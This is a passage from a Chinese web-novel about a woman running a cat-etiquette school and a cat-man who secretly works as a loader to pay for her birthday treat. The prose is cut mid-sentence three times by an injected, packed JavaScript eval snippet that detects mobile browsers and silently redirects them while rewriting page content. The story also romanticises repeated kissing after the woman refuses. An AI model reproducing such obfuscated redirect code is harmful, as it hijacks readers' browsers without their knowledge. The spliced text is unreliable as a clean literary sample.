小猫做承诺的样子,真可爱呀,江有鱼笑了笑,却并未当真。 灰狸的前半生,已经过得太苦了,她只希望他做一只健康快乐的小猫,赚钱就让人类操心吧。 只是,这样一来,她的经营计划就要做出调整了。 她现在交了定金的那栋房子价格合适,院子也够大,但若要安顿二百多只猫,还是略显局促。 况且,冬天的时候,那些猫也不能在院子里冻着呀,必定要有室内来安置他们。 倒是另一栋房子更合适,地下有个几百平的地下室,原本是当库房用的,她当时没看上,就是因为猫德学院没有什么仓储需求,但这个地下室若拿来安置黎明会,就再合适不过了。 这么想着,她打电话给房屋中介,表示想要换租的意愿,至于已经交了的三千定金,那就只好打水漂了。 电话那头的声音,灰狸听得一清二楚。 他很明白江有鱼为什么忽然换房子,都是为了他…… 他很想照顾她,让她过得幸福快乐,却总是连累她不停地花钱,他一定是世界上最没用的男猫了吧? 这样想着想着,灰狸就自卑起来。 江有鱼已经挂了电话,他走上前,把江有鱼圈进怀里,用鼻子不停地磨蹭江有鱼的额头、脸颊、鼻尖。 江有鱼被他蹭得发痒,笑道:“你这是做什么?” 灰狸一脸认真:“亲你。” 哈哈哈哈!小猫咪的亲亲真是太可爱啦! 江有鱼又被萌到了,她笑着揉揉灰狸毛绒绒的头:“错了,这是猫咪的亲亲,不是人类的亲亲,人类的亲亲,是用嘴唇的,像是这样。” 她的手摁在灰狸的肩膀上,示意他往下一点,灰狸不明所以,跪坐在她脚边。 江有鱼俯下身子,轻轻亲了一下灰狸的猫耳朵:“看,人类是这样亲亲的,学会了吗?” 猫咪的耳朵相当敏感,能捕捉到最细微的空气流动,江有鱼的鼻息轻轻喷在灰狸的耳尖,猫耳廓里那幼细的绒毛,顿时随着呼吸微动起来。 灰狸只觉耳朵一阵阵的发痒,好像是有小蚂蚁爬进耳朵那么痒,一直痒进了心里,他的耳朵立刻抖了抖。 原来这就是人类的亲吻,确实跟猫咪的碰鼻礼很不一样。 每次行碰鼻礼时,灰狸的心都是安宁踏实的,但被嘴唇亲吻时,他却感到了一阵莫名的冲动,想要抱住江有鱼,想要请求她再多用嘴唇碰碰自己…… 这种感觉……很陌生,但他并不讨厌。 难怪人类会喜欢这种触碰,他想着,随后站起身,模仿着江有鱼的动作,响亮地亲了一下她的嘴唇。 41.猫德学院的壮大 一张清俊少年面孔就这样放大在了眼前,江有鱼只觉得嘴唇一热,还来不及反应,就被他亲了个正着。 她的初吻,居然给了一只小猫咪? 她脑子里轰的一声,只觉得浑身血液都涌到了脸上,连舌头都不利索了:“你你你你做什么?” “亲亲呀。”灰狸奇怪地望着她,难道他亲的不对吗?可他感觉很好呀。 江有鱼的嘴唇让他想起烤布丁,软软嫩嫩,他意犹未尽地舔了舔嘴,觉得还想再来一下。 江有鱼看他的眼睛又瞟到自己脸上,吓得赶快往后一闪:“嘴巴是不可以随便亲亲的!小猫只能亲别的地方!” 灰狸哦了一声算是答应下来,下一秒,他把脸埋进江有鱼的肩窝,几个火热的吻烙在江有鱼的脖颈。 他的鼻息喷在江有鱼脖颈,温度烫的吓死人,江有鱼起了一身鸡皮疙瘩,手脚都不知道怎么放了。 我的天爷呀!他这是往哪里亲呢?不让你亲嘴巴,不意味着你可以亲脖子呀! 明明只是小猫咪的亲亲罢了,江有鱼却心跳加速,满面绯红,连话说不出来。 她连忙用力推开他,补充道:“这里也不可以亲!” 灰狸歪头,疑惑道:“为什么不可以亲?” “这个……就好像小猫也不喜欢别人摸肚皮跟肉垫一样,人类身上也有地方是不能碰的!” 少年的眼睛里写满天真诚挚:“可是我一直允许你亲我的肚皮和肉垫呀,因为我好喜欢你,所以你亲哪里都可以。” 江有鱼一时语塞:“那不一样!我不喜欢有人这样亲我!” 灰狸动动耳朵:“不喜欢吗?可是我感觉到你的体温升高了,瞳孔缩紧了,心跳也快了不少,这应当是兴奋的表现,不是吗?” 他低头,以迅雷不及掩耳之势,再次吻了一下她的嘴唇:“瞧,你的心跳得更快了,连嘴唇也变得好烫,你开心的时候,就是这个模样。” “人类都像你一样,这么口是心非吗?” 在小猫咪眼里,人类实在没有任何秘密,江有鱼羞得恨不能一头栽进地里去。 她放弃跟灰狸探讨这个问题了,自暴自弃道:“不要再问了,我说不能亲就是不能亲!” 灰狸不满了:“不公平!我就从来没有阻止过你亲我!你说过的,能随便摸随便亲的就是好猫,那我也要求你做个好人类!” 说罢,猫猫热乎乎的亲吻就像雨点一样,噼里啪啦落在江有鱼脸上。 那是一场笨拙、诚挚、直率,又饱含爱意的雨,是小猫纯真的心意。江有鱼无从躲避,只好被动地沐浴着这份爱,一边感动,一边不敢动,生怕他亲歪到别的地方。 话说,小猫被人强制爱的时候,是不是就是这个感觉? 果然吸猫太多了是会有报应的,今天灰狸就翻身做主,彻底来了一把猫吸人。江有鱼表示,下次她逮到机会,一定要狠狠吸回来! 那天之后,灰狸就好像发现了什么很好玩的新游戏一样,每次跟她说话,总是抽空就要亲她一下,搞得江有鱼不得不颁布了新家法。 第一:只有没人的时候才可以亲亲。 第二:亲亲只能在发生在白天,晚上睡觉时不可以亲。 第三:只能亲脸,不得亲吻嘴唇部分。 这三条规则,灰狸只能完全遵守第一条,第二条他经常违反,第三条,灰狸压根是视若无睹。 都是人身上的部位,嘴唇又有什么特别呢?江有鱼也经常碰他的敏感部位呢,他变成猫时,江有鱼还经常掏咪的小□□,他不是一样不计较。 和灰狸的纯真不同,江有鱼隐隐觉得自己在玩一个很危险的游戏,但她完全停不下来。 理智对她说,灰狸只是一只猫咪,她这种行为已经明显的越界了。如果再这样下去,他们的关系很可能会走向一个未知的方向。 她最该做的事情,是让灰狸认识到,猫能做什么,不能做什么,严守主人的规矩,不能再跟她一床睡,也不能亲吻她。 可是午夜时分,当她感受到灰狸热乎乎的身体就在身边,惬意的打着猫呼噜时,她又是如此贪恋这一刻的安心。 灰狸从来只采用一个睡姿,他侧躺在她背后,环抱着她,让她的后背完全陷入他的胸膛里,尾巴也缠在她腰上,他那样高大,搞得她觉得自己反而是只小猫咪,蜷缩在他的怀抱里。 猫的睡眠是片段式的,灰狸中途醒来的时候,总是会心满意足地亲一亲她的头发、后颈,确认最爱的宝贝还在怀里后,他就会接着睡去。 那样温暖的、柔软的、单纯又热烈的吻,总是撩动着她的心弦。 她从没有在除了父母之外的人身上,得到过这么不求回报,又死心塌地的感情。一想到这些,她就拽紧了灰狸的大尾巴不愿放手。 她就像是抓到一把金币巧克力,明知道不是真金,但依然贪恋着那一点甜。 没关系的,灰狸是猫,她只是在回应猫猫的爱。 她就这样自欺欺人地接受了这种失控,甚至在心中隐秘地有些窃喜,她知道这不应该,但她戒不掉。 除了这项失控之外,一切都在有条不紊的进行着,她招聘了几个新教师,也给即将搬去的场地做了一些简单的软装。 存款像是决堤的河水,很快就流干了,江有鱼看着银行存款苦笑,做生意就是这样,钱来了又去,但愿这次投资值得吧。 十月,搬家公司上门了,他们要搬去新房子了。 新房子还在萌芽街,足有原本的三倍大,共三层。第一层,是教室和教师办公室,第二层是学员宿舍,第三层就是江有鱼的校长室和生活起居室了。 这里延续了有鱼猫德学院的一贯风格,温馨可爱,南瓜色的地板上铺着厚厚的手工编织地毯,墙上挂着憨态可掬的猫咪壁画,暖黄的花朵壁灯点缀其间,就像是童话世界一样美。 灰狸对搬入新地盘很满意,进门的第一件事就想磨爪子圈地盘,慌得江有鱼立刻把他抱起来,墙板上刚刚粘好了壁画呢,千万不能让他搞成抽象艺术。 参观完了地上部分,江有鱼还特意带着灰狸参观了地下室。 为了迎接黎明会的210只猫咪,这里已经做了一次大改造,地上盘了地暖,铺好了绒毯,保证能让猫咪们过一个温暖的冬天。 墙壁上甚至还挂着一台电视机,不过那不是江有鱼买的,而是前任租客留下的。 但这也就是江有鱼的极限了,其他的家具一概没有,即使是张吊床,她现在也置办不起。 她有些抱歉:“这里的条件有点简陋,卫浴什么的超出预算了,恐怕你们只能将就去上公厕了。” 灰狸躺在软软的绒毯上打了一个滚,顺手打开了电视机。 电视上正巧在播放南极纪录片,屏幕上大雪纷飞,寒风呼啸,屏幕外的灰狸却躺在绒毯上,悠闲地晃着尾巴。 等到冬天真的来临时,地板就会开始发热,所有的猫猫会挤在一起,风吹不着,雪淋不着,还有充足的食物可吃,又能看电视…… 那一定是猫猫们的天堂吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078373|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰狸心里暖洋洋的:“你给我们的,已经足够多了。” 如果世界上真的存在猫猫神,那么,她一定叫做江有鱼。 搬家是个大工程,梅丽莎、冉晨星、石竹等朋友都来帮忙,还把自家的小猫也带来了。四人四猫结结实实干了一天,这才屋子收拾出个大概的模样。 活干完已经是晚上了,江有鱼便请大家去夜排档吃麻辣小龙虾,小猫不能吃辣,江有鱼单独为他们点了一份蒜蓉小龙虾。 夜风微冷,夜排档的生意依旧爆红,爆炒龙虾的大火腾起,显得此处无论何时都是热热闹闹的。 几个姑娘开了些啤酒,庆祝江有鱼的学校发展壮大,以后就不是光杆校长了。江有鱼也觉得十分高兴,拼搏了多年,她总算在云朵市混出个模样了。 她喝了几杯酒,豪气顿生:“现在这都不算什么,这也就是万里长征第一步!下次再搬家,我就不用租房子了,我要有一栋属于自己的独栋学院!” 梅丽莎噗地一声把啤酒喷出来了:“唉呀妈呀老妹儿啊,你挺敢想啊?你知道那得多少钱吗?” 石竹道:“即使是郊区,也差不多得一千万吧,要是好一点的地段都得三四千万,不是一般人搞得定的,别做梦啦。” 江有鱼喝了酒有点上头,大手一挥:“干什么呀,做梦还不让啊!有梦想谁都了不起!” 她又喝一杯酒,嘟嘟囔囔道:“那个是终极梦想,我还有小、小目标……” 冉晨星:“什么小目标?可别说是一个亿啊。” 江有鱼:“……我的小目标,是在云朵市置办一栋房产,等过两年就把我父母接过来,他们在老家,医疗条件也不好,还是住在云朵市舒服……” 云朵市的房价不是一般人能高攀的起的,但是比起买独栋房子,这个梦想已经实际了很多。 石竹有了兴趣,问道:“现在买个一百平的房子也得三百万左右,首付的话总要准备个90万,还得有五年社保记录。你符合条件吗?” 江有鱼咯咯笑道:“社保倒是符合了,就是钱包不符合,搞完这轮扩张,我的存款居然是零耶!” 梅丽莎勉励道:“那怕啥的,钱不够就挣去呗,你现在也有流量了,也有知名度了,总比以前强!” 江有鱼也道:“那倒是,想当年我睡的都是城中村的握手楼,这边洗澡邻居都能听见水声。舍不得吃舍不得穿,现在总比那时候强。” 梅丽莎作为一个云漂,同样深有感触,她举杯敬江有鱼:“啥也不说了,就祝你以后生意兴隆,一年买车,三年买房,五年实现独栋学院梦想!” 江有鱼举杯,清脆地一撞:“好,就承你吉言了!” 另一边的猫猫们看着主人们推杯换盏,对她们的谈话内容毫无兴趣,只是埋头大吃大喝。 只有灰狸心里有点不是滋味了,他在脑子里悄悄算了一下,他目前只赚到了十二万,连买房子的零头都不够,遑论什么独栋学院了。 江有鱼的梦想,他根本帮不上忙,反而又给她带来了几百张吃饭的嘴…… 想到这里,他顿时觉得小龙虾都不香了,坐在一边长吁短叹。 阿橘吃的满脸是油,望着他在那里闷闷不乐,奇怪道:“大哥,你怎么不吃呀?” 灰狸目光忧郁:“我在想怎么赚钱,你知道门路吗?” 阿橘懵懂地摇摇头,艾达却举手抢答了:“我知道!赚钱就需要去工作!用网络术语叫找个班上!” 灰狸眼前一亮:“跟我说说,怎么找个班上?” 42.梦想是成为公主 艾达只有理论知识,说到实践就两眼一抹黑了:“……额,大概是要准备简历?上老板直聘?” 小喇叭道:“别想啦,那都是人类找工作的手段,我主人说,小猫是不可以工作的,只有人类才能被聘用!” 这也是平衡劳动力就业的一项手段,猫猫们完全能够胜任简单的劳动,倘若放开了猫咪就业的口子,一些体力劳动者就没饭吃了。 所以政府规定,严禁雇佣猫工! 当然了,大部分猫有主人养活,也不会去上班的;至于流浪猫,最简单的认字算数都不会,即使是简单工作也胜任不了,自然不会去找那个麻烦。 艾达跟小喇叭抬起杠来:“你傻呀,只要你不说自己是猫,谁知道你是猫?” 他胸有成竹:“只要戴上一顶大帽子遮住耳朵,再穿上长风衣遮住尾巴,就不会有人知道这件事的!我穿成这样偷溜出去好几回,都没人发现我是猫呢!” 小喇叭嗤笑道:“只是在路上走,当然没人管你,但是工作是需要看身份证的!我主人说,好些工作还需要看无犯罪证明呢,我们连猫德证都还没考下来,哪有这东西。” 这倒是个难题,灰狸眼里的光立刻熄灭了。 艾达跟小喇叭因为主人的原因,已经是非常见多识广的猫了,既然他们都说不行,那肯定就够呛了。 就在这时,在一边傻吃的阿橘语出惊人:“也有工作是不看身份证的呀。” 灰狸惊讶道:“什么工作是不要身份证的?” “装卸工呀。”阿橘舔舔手指头,“我在主人的工厂看见过,每次货物装卸车的时候,司机都需要人把货物抬上抬下,这份工作不需要签合同,只要在有活的地方等着就行了。” “那些司机赶着送货,根本不会看身份证的,只要肯干活,他们就给钱,给的都是现金呢!” 只需要把货物抬上抬下?那灰狸完全能胜任呀!他可有的是力气呢! 灰狸连忙向阿橘询问更多信息:“那……怎么才能当上装卸工呢?” “只要去工厂区的门口等着就好啦。”阿橘提供内幕消息了,“我主人说,现在年轻人都不爱干体力劳动,工厂区很缺装卸工呢!只要能干活,有人抢着要!” 艾达道:“年轻人当然不爱干了,当装卸工多累呀!赚的又好少,累死累活搬好久,最后只说不定只赚一百块,但凡有一技之长,都不愿意去干这个。” 才一百块吗? 灰狸默默在心里算了起来,江有鱼需要300万买房子,他搬一次货物能赚100块,那他需要搬三十万次,共100年才能赚够这么多钱。 他才能活50年而已,还没等实现目标,就已经老死了,灰狸默默低下头,感觉到这条路也不可行。 可恶呀,到底要怎么办,才能赚到足够多的钱,让江有鱼实现梦想呢? 那边,江有鱼他们已经结束了酒局,准备各自回家了。今天江有鱼喝的真不少,石竹担心道:“你一个人能行吗?要不我送你回去?” 江有鱼大着舌头:“不用、不用客气了!我有灰狸,灰狸就能送我回家,你也赶快带阿橘回去吧!” 石竹对于灰狸的能力,还是相当放心的,叮嘱了灰狸几句,便带着阿橘走人了。 江有鱼晃晃悠悠,嘻嘻傻笑,好在酒品还不错,没有呕吐也没有撒酒疯,只是路走不稳。灰狸费了好大力气才把她弄回家。 江有鱼今天是真的很开心,她瘫坐在沙发上,任由灰狸给她擦脸擦手,只是嘿嘿的笑着,嘴里哼唱着一首老歌:“……有梦想谁都了不起,有勇气就会有奇迹……” 她拽了拽灰狸的尾巴毛:“灰狸,你的梦想是什么?” “梦想?” “就是你最想做到的事情。” 那应该是让黎明会的猫猫们都能活下去吧。灰狸这样想着,心中的愧疚更深一层,养着黎明会,江有鱼要花很多钱,那些钱她本来可以拿去买房子的。 都怪他,他把江有鱼的梦想挤掉了。 他轻声道:“我的梦想,就是实现你的梦想。但是,我做不到,我帮不了你买房子……” 江有鱼却笑了起来:“买房子?那不是、不是我真正的梦想……” 嗯?不是?灰狸有点惊讶了:“那你真正的梦想是什么呢?” 江有鱼今天真是喝醉了,如果她还清醒,她是绝对不会说出下面那些话的。 她吃吃一笑,脸上居然带出了几分小女孩的稚气:“那我告诉你的话,你可不准告诉别人。” 灰狸点头答允,她抱着灰狸的脖子,伏在他耳边悄悄说:“我的梦想是当公主!” 公主?是童话故事里的公主吗?灰狸跟江有鱼一起读过童话,所以他对这个概念并不陌生,只是,公主不都是国王的女儿吗?一个平民要怎么成为公主呢? 江有鱼的眼睛因醉酒失焦,她梦呓般地说:“我知道这个梦想很幼稚啦,但是……所有的女孩,小时候都梦想过成为公主吧。” “穿着漂亮的礼服,戴着华丽的王冠,跟英俊的王子幸福地跳舞,还有可爱的小动物做她的好朋友,不用帮家里干农活,不用为了钱发愁,想买什么就买什么……” 她轻轻叹息一声:“我知道,公主只是童话故事。不过,世界上还有一个能实现童话的地方,就是云朵乐园。” “十岁那年,我在电视上看到,云朵乐园会让所有客人体验童话世界,客人可以尽情地打扮成自己想要成为的角色,公主也好、巫婆也罢,那些工作人员都会配合你来表演……” “那时候我就想,我长大了一定要去云朵乐园玩一次,毕业工作的时候,我选择了云朵市,就是想着有一天,我能到云朵乐园看一看……” 灰狸小心翼翼地询问:“那你已经去过了?” 江有鱼苦笑着摇摇头:“所有梦想都得用钱来支撑,当公主也一样。云朵乐园的门票要一千元,再加上路费、住酒店和做公主造型的花销,总要三千元左右吧。” “三千块是我两个月的生活费,是我爸爸一年的买药钱,是我家种一亩地的纯利润,我哪里舍得……” “要用钱的地方太多了,怎么会这么多啊?房租、物业、水电、吃饭、爸爸的药费、妈妈的医保、还要攒钱买房子……” “我连买三百块的大衣都不舍得,怎么可能把钱花在这种没用的东西上面……” 她苦恼地揪揪自己的头发:“但是,有的时候我又很想去做一次美梦,有一次我都买票了,第二天又后悔自己花了没用的钱,太自私了,把票退掉了……” 她说着说着,眼睛渐渐合上了:“如果真的能做公主就好了,风吹不着,雨打不着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081667|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生下来就住大城堡,每天都光鲜亮丽,一辈子不用知道省吃俭用是什么滋味……” 一语未毕,她睡着了,灰狸把睡着的江有鱼抱上了床,帮她盖好被子。 望着她的睡颜,灰狸心里很不是滋味。 江有鱼这样为钱发愁吗? 原来,她也跟所有的流浪猫一样,孑然一身地漂泊在这个无情的城市,毕生所求,只是得到一个安稳的猫洞,让亲人也一起过上不愁吃喝的日子吗? 他是流浪在城市里的猫,江有鱼是流浪在异乡的人,本质上,他们又有什么区别,都是拼尽全身力气求生罢了。 他好想帮助江有鱼,可他要怎么帮呢? 他会的东西,对江有鱼的用处都不大,她不吃老鼠,也不喜欢蟑螂,对乌鸦也兴趣缺缺,灰狸是猫中的翘楚,可在人类社会,他只是江有鱼的累赘罢了。 他从未有这么痛恨过,自己只是一只猫。 如果他不是猫,他就可以去“上班”,他会用心工作,把所有的钱都交给江有鱼花。 那样的话,她想要买什么,就可以买什么,只要她高兴,就算是花光所有的钱去买一根老鼠尾巴,灰狸都不会皱一下眉头。 他悲伤地低下头,用自己的脑袋蹭蹭江有鱼的脸。 他能做的太有限了,他不能帮助江有鱼买房子,但,他也许可以帮江有鱼实现“做公主”的小小梦想。 很快就要到江有鱼的生日了,如果能在那天带江有鱼去云朵乐园,她一定会很开心的吧? 三千元,只需要做一个月装卸工就好了。 我一定会让你当上公主的,灰狸摸摸她的头发,暗暗在心里发誓。 那天夜里,江有鱼睡得很沉,她做了许许多多的怪梦,梦见自己一会儿是天上的仙女,一会儿是住在沼泽里的古怪巫婆,一会儿又是在大城堡里跳舞的公主。 所有的梦里,她身边都有一只温柔的猛兽,他有着金色的眼睛和柔软的皮毛,呼噜声像是打雷。 江有鱼从梦中醒来,果然见到灰狸就趴在自己旁边打呼噜。 她只觉头脑昏昏沉沉的,喉咙也干的厉害,回想昨晚上的事情,一大半都不记得了。 灰狸见她醒了,连忙跳下床给她倒水,江有鱼一口气喝了一大杯,这才用嘶哑的声音开口说话:“昨天我跟梅姐他们说什么了?应该没有发酒疯吧?” 灰狸摇摇头,江有鱼这才放心。她光着脚下地,对灰狸道:“这几天还不营业,你把黎明会的小猫都带来吧,等我后面忙起来,就顾不上它们了。” 灰狸目光闪了闪:“黎明会的猫很多,要搬过来,可能需要我亲自去接应,你有空陪我去吗?” 江有鱼回顾自己的行程,发现学校重新搬迁加上扩大规模,事情多得很。 加之她为了节约预算,根本没聘请专业的人事行政人员,一些手续都得她自己跑,光是给新员工办社保,就要花上她许多功夫。 这样一看,她根本没空陪灰狸给猫搬家。 “不好意思,我最近没空,要么还是等忙过了这一阵……” 灰狸却道:“没事,你把手环给我,我自己去也行。黎明会的猫很多,我估计要一个月才能把他们都搬过来,还是越快越好。” 江有鱼不疑有他,当即解下手环:“那你就去吧,要注意安全。” 43.咪会努力工作 接下来的几天,陆陆续续搬来了许多猫。 最先搬过来的就是黎明会的元老,也就是小二他们三兄妹。 其余两只猫的个性,跟神经兮兮的小二截然不同,排行第二的是只黑猫,名叫小夜,连眼珠子都是黑的,极其安静谨慎,若是晚上关了灯,江有鱼根本看不到他。 排行最小的则是一只小母猫,名叫小雪,浑身雪白,一双蓝眼睛,长得跟妈妈一模一样。她个性斯文害羞,乖巧文静,像是一位真正的千金闺秀一样可爱。 这么多猫齐聚一堂,咪咪喵喵的声音能把房顶给掀了,且猫咪们性格活泼,现在吃喝不愁,聚在一起经常打架。 这样下去可不行,江有鱼看着这群无组织无纪律的猫,就十分头大,她本想让灰狸管管他们,但灰狸最近老是在外奔波,根本找不到影子。 江有鱼有点后悔把手环给了灰狸,手环在的话,她起码还能找到灰狸去了哪里。 好在灰狸每天晚上都会回来,让江有鱼放了不少心。 只是他一回来,就倒头大睡,一副累的不行的样子,浑身都是灰,也不知道跑哪里去了。 江有鱼问起,灰狸只说有些猫藏的太深,所以才累的,江有鱼怀疑他没说实话,但是她自己的事情太多,只是警告灰狸不准在外面乱来。 最后,还是江有鱼自己解决了这个问题。 她这是猫德学院,小猫咪既然来了,就不能做文盲猫了,必须受教育!否则,她的颜面何存呢? 江有鱼把墙壁上的电视机充分利用了起来,她在网上下载了几期幼儿启蒙节目,用电视播放,意图教导大家认字算数。 义务教育节目收到了奇效,十分钟后,咪咪喵喵的声音都停了,打架的也不打了。 地下室里一片安静,猫猫们横七竖八,全都睡着了! 哎,猫跟猫真是不能比,这群小猫啊,真是一点都不好学,跟灰狸完全不在一个层次上嘛!江有鱼不由得怀念起自己的金牌学员了。 不过,也还有几个猫对义务教育展现出了一定兴趣,在他们的请求下,江有鱼干脆从网上下载了一批猫德公开课,用电视循环播放,相当于给小猫上起了网课。 电视全天候循环着各类课程,小猫们虽然半听不听的,但在耳濡目染下,还是学会了不少东西。 江有鱼估计,就这么熏陶三个月,这些猫都能考出猫德证了。 江有鱼搞了猫咪网课,办妥了教师的入职手续,又排了课表,分了班级,添置了生活用品,搞了开班仪式,这些事情做完,已经是二十几天过去了。 新教师是她亲自面试的,从品德到技能,江有鱼都很满意,她也放心地把一百多名新学员都给他们带了。 至于她自己,则从一线退下来,主要负责战略规划、人事行政、财务支出、后勤管理等工作。 说起来好像很管理层,但她实际上的工作是运营喵知道账号、排课表、发工资、收学费、打扫卫生、联系家长以及在某位老师请假的时候代课,简而言之,就是干所有杂活。 盘子大了,江有鱼比以往忙了十倍不止,当她终于闲下来,这才发现,她已经好久没有在白天看到灰狸了。 黎明会的猫到底有多少?还没找齐吗? 江有鱼起了疑心,她走到地下室,开始清点猫口。由于大多数学员都被网课催睡着了,她的清点工作进行的很顺利。 她数出了210只猫。 江有鱼开始觉得事情不对了,所有猫明明都在这里,灰狸还在外面干什么?他还拿走了自己的监管手环…… 江有鱼越想越心惊,难道,他又去干那些违法犯罪的事情了? 她有点坐不住了,立刻把小二审问了一遍,但是连小二都不知道他去了哪里。 江有鱼十分生气,灰狸现在还学会撒谎了!等他回来,她一定要他好看! 灰狸戴着一顶从垃圾桶里拾来的旧帽子,穿着一件灰扑扑的长外套,蹲在工厂区等活儿。 这个地方有很多装卸工,十月底已经很冷了,为了保暖,许多工人都戴着帽子,穿着长外套,灰狸的打扮在人群里面并不起眼。 一辆货车开过来,一个司机下车,打算找人卸货,工人们立刻站起来,希望这辆车的司机能看中自己。 灰狸也跟着起身,只是他不敢太往前挤,就怕暴露了身份,以后就接不到工作了。 他虽然离司机远,但那高大的个子,宽阔的肩膀,如鹤立鸡群,一看就有的是力气,司机眼前一亮,一眼就看中了他。 司机再看他的脸,发现是个年轻人,心里更加满意,这行要的就是手脚麻利的棒小伙子,当下点了十个人卸货,灰狸就是头一个。 人群里顿时传来不满的嘀咕,这已经是灰狸今天第四次接到活了,许多人才接到一次呢! 灰狸的耳朵多么灵敏,立刻就听出了谁在带头说坏话,当下冷冷向那人望去。 那人浑身打个寒颤,低下头去。 灰狸个子又大又壮,满脸疤痕,还是独眼,一看就很不好惹,大家都暗暗猜测他是混道上的,最近刚放出来。 是以大家虽然嫉妒他,也不敢跟他起正面冲突,只是说说坏话算了。 见对方低头,灰狸也不打算闹大,哼了一声,自顾自干活去了。 这车货物很重,一个纸箱便是七八十斤,饶是灰狸力气大,也搬的气喘吁吁,毕竟这已经是他今天第四次工作了,即便是铁打的小猫也肯定累了。 不过,灰狸觉得自己能挺住。 这一箱货物,是江有鱼的公主裙子,这一箱货物,是江有鱼的公主鞋,这一箱货物,是她的公主王冠…… 只要这样想着,灰狸就会觉得浑身上下充满了力气。 他已经攒了两千八百元钱了,只要再赚两百,就攒够三千啦! 他什么都没有,只剩下一身力气对她有用了,江有鱼不喜欢他偷东西,这次他要用堂堂正正的工作,让江有鱼当上公主。 这一车货物不少,十个人一块干了半小时,这才算搬完,灰狸累的连腰都直不起来,捂紧了帽子喘粗气。 司机给他结了五十块钱现金,灰狸如获至宝,连忙塞进外套口袋里。 司机看他这副样子,动了恻隐之心,又塞给他五块:“买瓶水喝,歇一歇吧,看你累的脸色都白了。” 灰狸道了声谢,却没打算买水,而是把那五块钱也揣进了口袋。 看来又是个有难处的,司机这么想着,温言问道:“很缺钱?” 灰狸本不想回答,但想到他刚刚多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085374|191266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给的五块钱,还是回道:“我要养老婆。” 司机一听,对他更有好感,递了一根烟给他,灰狸摇手表示不会抽,那司机也不在意,自己叼上烟点火:“这么年轻,学门技术才能更好的养老婆,哪怕开叉车也比干这个强啊。” 烟雾缭绕里,司机看着灰狸,低声道:“你要是真缺钱,以后就不要上白班了,晚上再来。夜间缺人手,工钱会开的更高些。” 灰狸听说钱多,立刻有点动心了,但是他晚上要回家,否则江有鱼肯定会知道他出来乱跑了,遂没有立刻答话。 司机也不以为意,本就是萍水相逢,他是看灰狸有眼缘才多说了两句,烟抽完了,他把烟头用脚碾灭:“你好好想想吧,同样的活,你晚上干起码能赚一百呢。” 说罢,司机便上了车,一脚油门离去。 能赚双倍啊……那这么说来,只要他晚上能接到两个活,就能立刻凑够三千元了? 只要赚够了三千块,江有鱼就可以做公主了,监管手环在他手里,就算是一晚不回去,江有鱼也不会知道他到底去了哪里…… 江有鱼要是能穿上漂亮裙子去云朵乐园,一定会笑的很开心吧? 这对灰狸的诱惑力太大了,他只要一想到那个画面,就忍不住骄傲地挺了挺胸脯。 他想要看她的笑容,明天就想看。 今晚就不要回家了,留在这里认真干活,说不定能赚到三千多。这样的话,多余的钱还可以攒起来,给江有鱼买房子! 就这样想着,灰狸便没有走。 确如司机所言,晚上的工人少,竞争少,工钱也给的大方。灰狸在晚上更成了香饽饽,基本上一晚上就没闲过。 夜深了,其余装卸工都买烟提神,不抽烟的就喝能量饮料。 只有灰狸什么都没买。他是来赚钱的,不是花钱的,他赚的每一分钱都是江有鱼的,必须都留给她。 一天下来,他只花了三块钱,买了一个面包充饥,其余的钱都小心地保存在口袋里。 到午夜时分,他已经赚到了四百多元,超额完成了任务。 一整天不眠不休地搬货,即使是灰狸也累的不行。他拖着疲惫的身躯,去坐夜班公交车回家。 他干活的工厂区,距离家里相当远,大约有二十多公里,公交车要开一个多小时。 夜班公交车很安静,司机沉默不语地开车,车子在无人的街道上行驶,平静又有韵律地起伏摇晃,好像摇篮一般催眠,乘客只有两三个,都依靠着座椅睡着了。 灰狸坐在椅子上,望着昏黄路灯一格一格从眼前划过,感觉眼前也是一阵又一阵的恍惚。 如果换了平时的他,一定不会在这里睡着的。可是今天他太累了,后背、肩膀、手腕、都酸疼的不得了,实在想要歇一歇。 就闭一会儿眼睛,就一会儿。 灰狸这样想着,头一歪,几乎是瞬间就进入了梦乡。 灰狸这一觉睡得很沉,身边的人来来去去,他丝毫都没有醒的意思。 他的长风衣耷拉到地上,现金在他口袋中露出了一角粉红色。 有人从他身边经过,轻咳一声,灰狸丝毫没有反应,他太累了,这会儿就是打雷他也不会醒来的。 一只手悄悄摸进了他的口袋。 44.钻石王冠 灰狸一无所知,仍在呼呼大睡,一小时后,公交车内播报响起:“萌芽街到了,请需要下车的旅客从后门下车。” 听到萌芽街这几个字,灰狸这才猛然惊醒,车门已经打开,他擦擦嘴角的口水,三步两步蹿了下去。 